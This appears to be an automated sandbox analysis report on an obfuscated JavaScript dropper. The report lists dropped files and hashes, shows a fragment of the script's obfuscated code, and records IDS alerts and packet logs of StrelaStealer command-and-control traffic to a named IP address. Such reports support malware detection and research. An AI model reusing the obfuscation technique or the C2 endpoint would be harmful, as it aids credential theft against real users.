Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\167449e1-ea5b-4eae-9418-359898d2bc44.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:6Dbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WL07oXGZuwYIGNPJF:cb3mlind9i4ufFXpAXkrfUs03WLxXGZA
MD5:	C528EB6A158F9F3095AD22DB47383E7C
SHA1:	A8AB1841BD2B7CF898AB3D747DE3479ACD225ED7
SHA-256:	A90361A62BD08B2D69DA70DB9B49CC7997824E6555A6C5014525A120C7FC3622
SHA-512:	59F43AC7F0CB91B0FA8851EA66F3DDA09032CC25F3C6F488AB558D206102CB6C1477780B42CA39C442C251906907B0EE904661703045353491FA425C4782F62A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3ea55408-38d2-489f-b4af-488a8dd219ee.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZDwYIGNPSPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZDwZGm3mlind9i4ufFXpAXkru
MD5:	7B143D1B4D69D9A169977047254A3203
SHA1:	C9609AECC446A8B94F7214B61B7CF837C853CB67
SHA-256:	69699D8EFB29EA1B15C167B9F017A9468319D567AB2126887482F97D176F8AE1
SHA-512:	2C3BB8C99D0B1ECBBD1E0A1183B0AB2AD3F6877DE6786BEF55AC58ADCA44DD0A9BC2EF8D5ACFB2268AEB18EEA7C600413F4366E64D7DA39DC28AE2E932FC27D4
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a846fbf7-0bbe-4d3a-842b-5caf604d4ea4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f68a2ece-91d8-4bc1-9be3-e0636e941946.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16942), with CRLF line terminators
Entropy (8bit):	4.914215545580405
TrID:
File name:	9748121671124198.js
File size:	20'460 bytes
MD5:	34e4731866accca1c3f734c32e86a6c3
SHA1:	4e536c52d7ec4fac25fa67cc1b4aaa8c02521e7e
SHA256:	5ba732bdaf7d8c2faaa22006a219a2ff04a7063097d631d8fb20b55d975e4f37
SHA512:	72819bdf9b35f50b0ad65247ae51ab9ee2dc4c4c38c71ffc974e0ebf1b2efe1797decd1b6b8ba7a29db9841fe329e2027dcc5f23baa8999ae61d0d9032693203
SSDEEP:	384:eZPN3LNi7NJ9cGEgwJcEjlWlVh+EohrU3Kh2q16m5:eZRj4+nA3Kh2Iz5
TLSH:	37924542C669CA88E5F851F1C98701FD61EA07DC0F90A1DDA98061E7BF295226FD34FE
File Content Preview:	function iknxpo(){vxutiwj=[1031,3079,5127,4103,2055,3072];var fnrxtf=this[rvhqym+ksbef+pmgjq+wjdfexox+znmnbxob+pdwhaabj+kkzfv+bmykltc](this[pjgqqs+gscyo+jqjvjpgd+pmgjq+cdytnkrwd+rvhqym+bmykltc][jjxxfako+pmgjq+znmnbxob+ksbef+bmykltc+znmnbxob+bcvebq+ascauv+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:12:42.561620+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T02:12:42.561620+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T02:12:45.601694+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:12:41.660201073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:41.665075064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:41.665162086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:41.668299913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:41.673063040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.561466932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.561501026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.561513901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.561619997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.561702013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.561713934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.561728954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.561765909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.561784983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.561929941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.561968088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.561979055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.562005043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.562200069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.562247992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.566492081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.616183996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.616202116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.616333961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.687006950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.687019110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.687051058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.687083006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.687119007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.687130928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.687155962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.687480927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.687490940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.687544107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.687721014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.687731981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.687743902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.687762976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.687788963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.688144922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.688157082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.688169003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.688206911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.688277006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.688287973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.688328981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.688927889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.688965082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.688992977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.689003944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.689047098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.689127922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.689192057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.689239979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.689786911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.689862967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.689874887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.689904928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.691875935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.691931963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.752423048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.794106960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.794123888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.794137001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.794148922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.794218063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.812691927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.812726021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.812740088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.812758923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.812772036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.812848091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.812880039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.812944889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.812958002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.812972069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813090086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.813127041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813177109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.813338995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813350916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813379049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813388109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.813391924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813438892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.813555956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813632011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813682079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.813760042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813817978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813831091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.813858986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.814078093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814091921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814105034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814116001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814125061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.814186096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.814357042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814377069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814390898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814410925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814420938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.814452887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.814640999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814687014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.814747095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814762115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814775944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814790010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814802885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.814805031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814817905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.814840078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.814862013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.815332890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.815346956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.815399885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.815459967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.815471888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.815491915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.815505981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:42.815515995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:42.815550089 CET	49730	80	192.168.2.4	193.143.1.205
